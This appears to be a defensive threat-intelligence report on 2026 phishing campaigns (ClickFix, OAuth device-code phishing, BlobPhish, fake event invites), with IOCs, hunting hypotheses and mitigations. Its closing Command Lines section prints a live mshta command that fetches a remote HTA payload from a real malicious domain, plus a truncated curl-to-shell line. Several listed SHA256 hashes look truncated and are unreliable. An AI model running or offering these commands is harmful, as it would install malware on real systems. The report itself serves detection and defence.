Top 5 Phishing-Driven Social Engineering Attacks on Companies in 2026
Modern social engineering attacks have evolved to closely mimic legitimate business workflows, utilizing techniques like ClickFix, OAuth device code abuse, and in-browser blob phishing. These tactics bypass traditional security controls and create "gray-zone" alerts that require deep behavioral analysis to determine the true scope of compromise, such as credential theft, token abuse, or RMM deployment.
Source:
ANY.RUN
- domainaddossernugkrsqjfa[.]seconddomain[.]suMalicious domain observed in threat intelligence lookup
- domainbkngpanelguest[.]web[.]idClickFix lure domain impersonating Booking.com verification
- domainclaude-download[.]squarespace[.]comClickFix lure domain impersonating Claude Code documentation
- domaindownload-version[.]1-4-9[.]comDomain hosting ClickFix Windows payloads
- domainindex-j7k[.]dibafef289[.]workers[.]devOAuth Device Code Phishing lure domain impersonating DocuSign
- domainlegendarysinvited[.]deDomain hosting fake event invitations
- domainloginmicr0sft0nlineeckaf[.]52632651246148569845521065[.]ccFake Microsoft login domain
- domainmtl-logistics[.]comDomain hosting BlobPhish lures
- domainofdocwwdwewewedsd2i232[.]pagedemo[.]coMalicious domain observed in threat intelligence lookup
- domainsegyen[.]xyzMalicious domain observed in threat intelligence lookup
- ip147[.]45[.]179[.]206IP address hosting malicious payloads
- ip62[.]133[.]62[.]234IP address hosting malicious payloads
- sha25603644a5b2b94ea498bb45efabfb6fc3ca7870505742a3be32fa3e9b768025d32Malicious file hash observed in threat intelligence lookup
- sha2562fef7b04a3cc49c4649789669cdc8463ac2e3fa47d9c3988f99369dc26ba6486Malicious file hash observed in threat intelligence lookup
- sha25633ad558d5b96f97496c5cab18d32efbf1ddc0927e219da488e58f7bebf5744a7Malicious file hash observed in threat intelligence lookup
- sha25690fe524e6e7361f7e8832f8d88af335bc6b9561afb86f4feb59d5df859f2eb5eMalicious file hash observed in threat intelligence lookup
- sha256b3a23896df77441fbac8e4f392953d22c0818583ba4da443c5200863ccb2048cMalicious file hash observed in threat intelligence lookup
- sha256e188e259fd6cc501108f203718852a50ea9f02b7721e56cbe3d0256740a1154fMalicious file hash observed in threat intelligence lookup
- urlhxxp://147[.]45[.]179[.]206:8080/files/Clients_for_your_buMalicious payload URL observed in threat intelligence lookup
- urlhxxp://62[.]133[.]62[.]234:8080/part/setup1846[.]maiMalicious payload URL observed in threat intelligence lookup
- urlhxxps://download-version[.]1-4-9[.]com/claudeClickFix payload URL for Windows mshta execution
- urlhxxps://github[.]com/shaundretta78/f/blob/main/changAbused legitimate infrastructure hosting malicious content
- urlhxxps://is[.]gd/4kZgryMalicious redirect URL used in OAuth phishing
- urlhxxps://legendarysinvited[.]de/joinme/letcelebrate[.]htmlFake event invitation lure URL
- urlhxxps://mtl-logistics[.]com/2da5b896-8b21-4759-bea1-a03f5be92fa6BlobPhish lure URL utilizing in-browser blob objects
Detection / HunterGoogle
What Happened
Cybercriminals are using highly convincing fake login pages, AI tool instructions, and event invitations to trick employees into giving up access to company systems. These attacks affect anyone using standard business tools like Microsoft 365, banking portals, or AI assistants. This matters because these modern phishing techniques often bypass standard security filters and can lead to stolen passwords, financial fraud, or remote control of company computers. Organizations should ensure their security teams have the tools to quickly analyze suspicious links and behaviors before a minor click turns into a major breach.
Key Takeaways
- Modern social engineering closely mimics legitimate workflows, such as Microsoft logins, AI tool documentation, and event invitations, making detection difficult.
- ClickFix attacks abuse employee trust in AI tools (like Claude or Grok) to trick users into manually running malicious terminal commands.
- OAuth device code phishing (EvilTokens) bypasses traditional credential theft by tricking users into authorizing malicious applications directly.
- Banking phishing campaigns (BlobPhish) utilize in-browser blob objects to evade traditional URL and network detection mechanisms.
- Fake event invitations are increasingly used as lures to deliver Remote Monitoring and Management (RMM) tools for persistent access.
Affected Systems
- Windows
- macOS
- Microsoft 365
- Web Browsers
Attack Chain
Attackers utilize highly convincing social engineering lures, such as fake Microsoft logins, AI tool documentation, or event invitations, delivered via email or web redirects. Victims are tricked into interacting with these pages, which may use in-browser blob objects to evade detection or abuse OAuth device code flows to steal access tokens directly. In ClickFix scenarios, users are prompted to manually copy and paste malicious commands into their terminal, leading to the execution of stealers like AMOS on macOS or remote access tools on Windows. The final impact ranges from credential and token theft to full endpoint compromise and lateral movement.
Detection Availability
- YARA Rules: No
- Sigma Rules: Yes
- Snort/Suricata Rules: Yes
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
- Platforms: Sigma, Suricata, ANY.RUN
The article and accompanying images indicate that Sigma and Suricata rules are available within the ANY.RUN platform to detect the observed phishing and malware behaviors.
Detection Engineering Assessment
EDR Visibility: High — EDR solutions can easily detect the execution of suspicious commands (like mshta reaching out to external URLs or curl piping to sh) resulting from ClickFix attacks, as well as the deployment of RMM tools. Network Visibility: Medium — While network tools can spot connections to known malicious infrastructure, techniques like BlobPhish (in-browser blobs) and OAuth device code abuse (using legitimate Microsoft endpoints) blend in with normal traffic, reducing network-level detection efficacy. Detection Difficulty: Moderate — The initial lures closely mimic legitimate workflows and abuse trusted services (OAuth, AI tools), making initial detection hard. However, the post-click execution (e.g., terminal commands, RMM installation) provides clear behavioral signals.
Required Log Sources
- Process Creation (Event ID 4688 / Sysmon Event ID 1)
- DNS Queries
- Proxy/Web Gateway Logs
- Cloud Audit Logs (Azure AD/Entra ID sign-ins)
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for instances of mshta.exe executing with external HTTP/HTTPS URLs in the command line, which may indicate ClickFix or similar payload delivery. | Process Creation Logs | Execution | Low |
| Evaluate whether users are executing curl commands that pipe output directly to sh or bash, especially when the command contains base64 encoded strings, as seen in macOS ClickFix attacks. | macOS Unified Logs / EDR Process Telemetry | Execution | Medium |
| If you have visibility into cloud identity logs, consider hunting for unusual OAuth device code authentication flows, particularly those originating from unexpected locations or resulting in new application consents. | Cloud Identity/Authentication Logs | Credential Access | Medium |
Control Gaps
- Traditional URL filtering (bypassed by BlobPhish and abused legitimate services)
- Standard MFA (bypassed by OAuth device code phishing)
Key Behavioral Indicators
- Execution of mshta.exe with remote URLs
- Piping curl output to shell interpreters on macOS
- Unexpected RMM tool installations (ScreenConnect, ITarian) following web browsing activity
False Positive Assessment
- Medium. While the specific IOCs are highly malicious, hunting for generic behaviors like OAuth device code flows or RMM tool usage may yield false positives in environments where these are used legitimately.
Recommendations
Immediate Mitigation
- Verify against your organization's incident response runbook and team escalation paths before acting.
- Consider blocking the identified malicious domains and IP addresses at the perimeter.
- Evaluate whether recent alerts involving mshta.exe or unusual curl commands warrant immediate endpoint isolation.
Infrastructure Hardening
- If supported by your cloud environment, consider restricting OAuth application consent to approved applications only.
- Evaluate whether conditional access policies can be tuned to block anomalous OAuth device code flows.
User Protection
- Consider restricting the execution of mshta.exe and other LOLBins on user endpoints if they are not required for business operations.
- If applicable, evaluate deploying browser extensions or web filtering that can inspect and block malicious in-browser blob objects.
Security Awareness
- Consider updating security awareness training to include examples of ClickFix attacks, emphasizing the danger of copying and pasting terminal commands from unverified sources.
- Evaluate whether employees are trained to recognize OAuth device code prompts and the risks of authorizing unknown applications.
MITRE ATT&CK Mapping
- T1566.002 - Phishing: Spearphishing Link
- T1059.004 - Command and Scripting Interpreter: Unix Shell
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1218.005 - System Binary Proxy Execution: Mshta
- T1528 - Steal Application Access Token
- T1555.001 - Credentials from Password Stores: Keychain
- T1074.001 - Data Staged: Local Data Staging
- T1071 - Application Layer Protocol
Additional IOCs
- Ips:
147[.]45[.]179[.]206- IP address hosting malicious payloads62[.]133[.]62[.]234- IP address hosting malicious payloads
- Domains:
loginmicr0sft0nlineeckaf[.]52632651246148569845521065[.]cc- Fake Microsoft login domainsegyen[.]xyz- Malicious domain observed in threat intelligence lookupaddossernugkrsqjfa[.]seconddomain[.]su- Malicious domain observed in threat intelligence lookupofdocwwdwewewedsd2i232[.]pagedemo[.]co- Malicious domain observed in threat intelligence lookupdownload-version[.]1-4-9[.]com- Domain hosting ClickFix Windows payloadsmtl-logistics[.]com- Domain hosting BlobPhish lureslegendarysinvited[.]de- Domain hosting fake event invitations
- Urls:
hxxps://is[.]gd/4kZgry- Malicious redirect URL used in OAuth phishinghxxps://github[.]com/shaundretta78/f/blob/main/chang- Abused legitimate infrastructure hosting malicious content
- File Hashes:
90FE524E6E7361F7E8832F8D88AF335BC6B9561AFB86F4FEB59D5DF859F2EB5E(SHA256) - Malicious file hash observed in threat intelligence lookup315F08A314E299D30BE098D1D42BB11A818AE39963ED0801F3632F41504F45C(SHA256) - Malicious file hash observed in threat intelligence lookup33AD558D5B96F97496C5CAB18D32EFBF1DDC0927E219DA488E58F7BEBF5744A7(SHA256) - Malicious file hash observed in threat intelligence lookup83CC2EF6C031FCCC14C8D259C140EF8452359CF6F1667C07177AC1332901D23(SHA256) - Malicious file hash observed in threat intelligence lookupB3A23896DF77441FBAC8E4F392953D22C0818583BA4DA443C5200863CCB2048C(SHA256) - Malicious file hash observed in threat intelligence lookup5904778365F988CCF2C5148F42A4D13636C381407239ADC243300E9C879B956(SHA256) - Malicious file hash observed in threat intelligence lookup05E801351F3E5CE008625356C47C82080A9F64CBC14432C35A361AF44DABAD(SHA256) - Malicious file hash observed in threat intelligence lookup2FEF7B04A3CC49C4649789669CDC8463AC2E3FA47D9C3988F99369DC26BA6486(SHA256) - Malicious file hash observed in threat intelligence lookup03644A5B2B94EA498BB45EFABFB6FC3CA7870505742A3BE32FA3E9B768025D32(SHA256) - Malicious file hash observed in threat intelligence lookupE188E259FD6CC501108F203718852A50EA9F02B7721E56CBE3D0256740A1154F(SHA256) - Malicious file hash observed in threat intelligence lookup
- Command Lines:
- Purpose: Download and execute macOS payload via base64 encoded URL in ClickFix attack | Tools:
curl,sh| Stage: Execution |curl -sKfSL $(echo ' - Purpose: Execute remote HTA payload on Windows in ClickFix attack | Tools:
mshta| Stage: Execution |mshta https://download-version.1-4-9.com/
- Purpose: Download and execute macOS payload via base64 encoded URL in ClickFix attack | Tools: